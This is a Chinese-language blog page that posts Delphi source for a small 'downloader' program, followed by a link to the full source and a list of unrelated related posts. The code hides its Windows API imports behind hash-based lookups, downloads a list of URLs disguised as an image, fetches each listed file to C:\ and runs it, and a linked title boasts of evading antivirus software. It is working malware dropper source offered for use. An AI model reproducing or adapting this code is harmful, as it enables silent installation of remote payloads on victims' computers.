[源码]Delphi 5KB无输入表下载者
[源码]Delphi 5KB无输入表下载者源码
- PROGRAM Fun;
- type
- DWORD = LongWord;
- THandle = LongWord;
- BOOL = LongBool;
- LPCSTR = PAnsiChar;
- HINTERNET = Pointer;
- FARPROC = Pointer;
- PShortString = ^ShortString;
- PLongint = ^Longint;
- HRESULT = type Longint; { from WTYPES.H }
- PGUID = ^TGUID;
- TGUID = packed record
- D1: LongWord;
- D2: Word;
- D3: Word;
- D4: array[0..7] of Byte;
- end;
- PSecurityAttributes = ^TSecurityAttributes;
- _SECURITY_ATTRIBUTES = record
- nLength: DWORD;
- lpSecurityDescriptor: Pointer;
- bInheritHandle: LongBool;
- end;
- TSecurityAttributes = _SECURITY_ATTRIBUTES;
- SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES;
- POverlapped = ^TOverlapped;
- _OVERLAPPED = record
- Internal: DWORD;
- InternalHigh: DWORD;
- Offset: DWORD;
- OffsetHigh: DWORD;
- hEvent: THandle;
- end;
- TOverlapped = _OVERLAPPED;
- OVERLAPPED = _OVERLAPPED;
- CONST
- Dw_ShellExecuteA = $EB7C1488;
- Dw_ShellExecuteW = $1FA8A1D9;
- Dw_URLDownloadToFileA = $1E30F2EA;
- Dw_StrStrA = $0A62DA9E;
- Dw_lstrlenA = $E90E2A0C;
- Dw_lstrcpyA = $AE03DF57;
- Dw_lstrcpynA = $3464616E;
- Dw_StrDupA = $F458BD0D;
- Dw_StrNCatA = $8DB90EA6;
- Dw_CreateFileA = $553B5C78;
- Dw_ReadFile = $095C03D0;
- Dw_CloseHandle = $B09315F4;
- S_OK = $00000000;
- ERROR = 0;
- INTERNET_OPEN_TYPE_PRECONFIG = 0;
- HTTP_QUERY_RAW_HEADERS_CRLF = 22;
- MAX_PATH = 260;
- GENERIC_READ = DWORD($80000000);
- FILE_SHARE_READ = $00000001;
- OPEN_EXISTING = 3;
- FILE_ATTRIBUTE_NORMAL = $00000080;
- DwUrl = 'http://www.baidu.com/img/bdlogo.gif|----------------------------------------------------------------------';
- VAR
- LoadLibrary:function(lpLibFileName: PAnsiChar): longWord; stdcall;
- ShellExecuteA:function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
- URLDownloadToFileA:function(Caller:Pointer; URL:PChar; FileName:PChar; Reserved: DWORD; StatusCB:Pointer): HResult; stdcall;
- lstrlenA:function(lpString: PAnsiChar): Integer; stdcall;
- StrStrA:function(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall;
- lstrcpyA:function(lpString1, lpString2: PAnsiChar): PAnsiChar; stdcall;
- lstrcpynA:function(lpString1, lpString2: PAnsiChar; iMaxLength: Integer): PAnsiChar; stdcall;
- StrDupA:function(lpSrch: PAnsiChar): PAnsiChar; stdcall;
- StrNCatA:function(psz1: PAnsiChar; psz2: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall;
- CreateFileA:function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: DWORD;lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;
- ReadFile:function(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
- CloseHandle:function(hObject: THandle): BOOL; stdcall;
- function DwPos(lpFirst,lpSrch:PAnsiChar):Integer;
- begin
- Result :=DWORD(StrStrA(lpFirst,lpSrch)) - DWORD(lpFirst);
- end;
- procedure DwDelete(lpszStr: PAnsiChar; index, count: Integer);
- begin
- lstrcpyA(@lpszStr[index - 1], @lpszStr[index + count - 1]);
- end;
- function DwStrLCopy(Dest: PAnsiChar; const Source: PAnsiChar; MaxLen: Cardinal): PAnsiChar; assembler;
- asm
- PUSH EDI
- PUSH ESI
- PUSH EBX
- MOV ESI,EAX
- MOV EDI,EDX
- MOV EBX,ECX
- XOR AL,AL
- TEST ECX,ECX
- JZ @@1
- REPNE SCASB
- JNE @@1
- INC ECX
- @@1: SUB EBX,ECX
- MOV EDI,ESI
- MOV ESI,EDX
- MOV EDX,EDI
- MOV ECX,EBX
- SHR ECX,2
- REP MOVSD
- MOV ECX,EBX
- AND ECX,3
- REP MOVSB
- STOSB
- MOV EAX,EDX
- POP EBX
- POP ESI
- POP EDI
- end;
- function DwStrPCopy(Dest: PAnsiChar; const Source: PAnsiChar): PAnsiChar;
- begin
- Result := DwStrLCopy(Dest, Source, lstrlenA(Source));
- end;
- var
- I:Integer;
- BinaryFile: LongWord;
- dwBytesRead: DWORD;
- szBuffer,NewDir,Temp:array [0..100] of AnsiChar;
- FBuf:Array[0..2048] of AnsiChar;
- PosTxt:PAnsiChar;
- kernel32,shlwapi:LongWord;
- begin
- BuildCRC32Table;
- @LoadLibrary:=MyLoadLibraryA;
- kernel32 := LoadLibrary('kernel32.dll');
- shlwapi := LoadLibrary('shlwapi.dll');
- @ShellExecuteA:=GetProcAddress(LoadLibrary('shell32.dll'),Dw_ShellExecuteA);
- @URLDownloadToFileA:=GetProcAddress(LoadLibrary('UrlMon.dll'),Dw_URLDownloadToFileA);
- @StrStrA:=GetProcAddress(shlwapi,Dw_StrStrA);
- @StrDupA:=GetProcAddress(shlwapi,Dw_StrDupA);
- @StrNCatA:=GetProcAddress(shlwapi,Dw_StrNCatA);
- @lstrlenA:=GetProcAddress(kernel32,Dw_lstrlenA);
- @lstrcpyA:=GetProcAddress(kernel32,Dw_lstrcpyA);
- @lstrcpynA:=GetProcAddress(kernel32,Dw_lstrcpynA);
- @CreateFileA:=GetProcAddress(kernel32,Dw_CreateFileA);
- @ReadFile:=GetProcAddress(kernel32,Dw_ReadFile);
- @CloseHandle:=GetProcAddress(kernel32,Dw_CloseHandle);
- lstrcpyA(szBuffer, DwUrl);
- DwDelete(szBuffer, DwPos(szBuffer,'|')+1, 100);
- I:= DwPos(DwUrl,'|')+1;
- lstrcpynA(szBuffer,DwUrl,I);
- if URLDownloadToFileA(nil,szBuffer,'c:\k8down.jpg', 0, nil)= S_OK then
- begin
- BinaryFile := CreateFileA('c:\k8down.jpg', GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
- ReadFile(BinaryFile, FBuf , 2048, dwBytesRead, nil);
- if (dwBytesRead > 0) then
- begin
- closehandle(BinaryFile);
- end;
- while (DwPos(FBuf,'//') <> 0) and (DwPos(FBuf,'|') <> 0) do
- begin
- if (DwPos(FBuf,'|') < 6) then Break;
- I:=DwPos(FBuf,'|')+1;
- lstrcpynA(Temp,FBuf,I);
- DwDelete(FBuf,1, I + 2);
- DwStrPCopy(NewDir,'C:\');
- PosTxt:=StrDupA(Temp);
- DwDelete(PosTxt, 1, 7);
- while (DwPos(PosTxt,'/') > 0) do
- begin
- DwDelete(PosTxt, 1, DwPos(PosTxt,'/')+1);
- end;
- StrNCatA(NewDir,PosTxt,-1);
- if URLDownloadToFileA(nil,Temp,NewDir, 0, nil)= S_OK then
- begin
- ShellExecuteA(0,'open',NewDir,nil,nil,5);
- end;
- end;
- end;
- end.
完整程序源码如下:
https://download.csdn.net/download/qq396890445/6812539
[源码]Delphi 5KB无输入表下载者的更多相关文章
- 2014年最新720多套Android源码2.0GB免费一次性打包下载
之前发过一个帖子,但是那个帖子有点问题我就重新发一个吧,下面的源码是我从今年3月份开始不断整理源码区和其他网站上的android源码,目前总共有720套左右,根据实现的功能被我分成了100多个类,总共 ...
- [源码]Delphi源码免杀之函数动态调用 实现免杀的下载者
[免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者 2013-12-30 23:44:21 来源:K8拉登哥哥's Blog 自己编译这份代码看看 过N多杀软 没什么技 ...
- 转--2014年最新810多套android源码2.46GB免费一次性打包下载
转载自:http://www.eoeandroid.com/thread-497046-1-1.html 感谢该博客主人无私奉献~~ 下面的源码是从今年3月份开始不断整理源码区和其他网站上的安卓例子源 ...
- Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址
OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...
- easyui源码翻译1.32--Form(表单)
前言 使用$.fn.form.defaults重写默认值对象下载该插件翻译源码 form提供了各种方法来操作执行表单字段,比如:ajax提交, load, clear等等.当提交表单的时候可以调用va ...
- [转]数据库中间件 MyCAT源码分析——跨库两表Join
1. 概述 2. 主流程 3. ShareJoin 3.1 JoinParser 3.2 ShareJoin.processSQL(...) 3.3 BatchSQLJob 3.4 ShareDBJo ...
- 【一起学源码-微服务】Nexflix Eureka 源码八:EurekaClient注册表抓取 精妙设计分析!
前言 前情回顾 上一讲 我们通过单元测试 来梳理了EurekaClient是如何注册到server端,以及server端接收到请求是如何处理的,这里最重要的关注点是注册表的一个数据结构:Concurr ...
- Python源码剖析|百度网盘免费下载|Python新手入门|Python新手学习资料
百度网盘免费下载:Python源码剖析|新手免费领取下载 提取码:g78z 目录 · · · · · · 第0章 Python源码剖析——编译Python0.1 Python总体架构0.2 Pyth ...
- 【雷神源码解析】无基础看懂AAC码流解析,看不懂你打我
一 前言 最近在尝试学习一些视频相关的知识,随便一搜才知道原来国内有雷神这么一个真正神级的人物存在,尤其是在这里(传送门)看到他的感言更是对他膜拜不已,雷神这种无私奉献的精神应当被我辈发扬光大.那写这 ...
随机推荐
- vi怎么统计查找字符串的个数
vi怎么统计查找字符串的个数 用vi打开一个比较大的文本,用vi查找指定字符串,现在怎么统计该字符串的个数呢?比如我查找ORA字符串,直接输入 /ORA的时候vi会高亮显示.现在怎么统计ORA的个数呢 ...
- 最小生成树求最大比率 UVALive - 5713
题目链接:https://vjudge.net/problem/UVALive-5713 题意:给出t组数据,每组数据第一行给出一个n,表示点的数量,接下来n行,每行有三个数字,分别是点的坐标x,y和 ...
- 回忆Partition算法及利用Partition进行快排
一.Partiton算法 Partiton算法的主要内容就是随机选出一个数,将这个数作为中间数,将大于它的排在它右边,小于的排在左边(无序的). int partition (int arr[],in ...
- FortiGate路由模式--静态地址线路上网配置
1.需求:外网接口使用专线,由运营商分配指定的静态地址,内网为192.168.1.0/24网段,实现基本上网功能. 运营商分配ip地址:202.1.1.10,网关地址:202.1.1.9, DNS:2 ...
- python note 04 list的应用及元组
1,昨日内容 ascii:字母,数字,特殊字符:1个字节,8位 Unicode:16位 两个字节 升级 32 位 四个字节 utf-8:最少一个字节 8位表示. 英文字母 8位 1个字节 欧洲16位, ...
- 651. 4 Keys Keyboard复制粘贴获得的最大长度
[抄题]: Imagine you have a special keyboard with the following keys: Key 1: (A): Print one 'A' on scre ...
- 2.Redis五种数据结构
2.Redis五种数据结构2.1 预备2.1.1 全局命令2.1.2 数据结构和内部编码2.1.3 单线程架构2.2 字符串2.2.1 命令2.2.2 内部编码2.2.3 典型使用场景2.3 哈希2. ...
- (转)android import library switch语句报错case expressions must be constant expressions
今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...
- 【APP测试(Android)】--升级更新
- 获取IP地址方法
function getip() { static $ip = ''; $ip = $_SERVER['REMOTE_ADDR']; if(isset($_SERVER['HT ...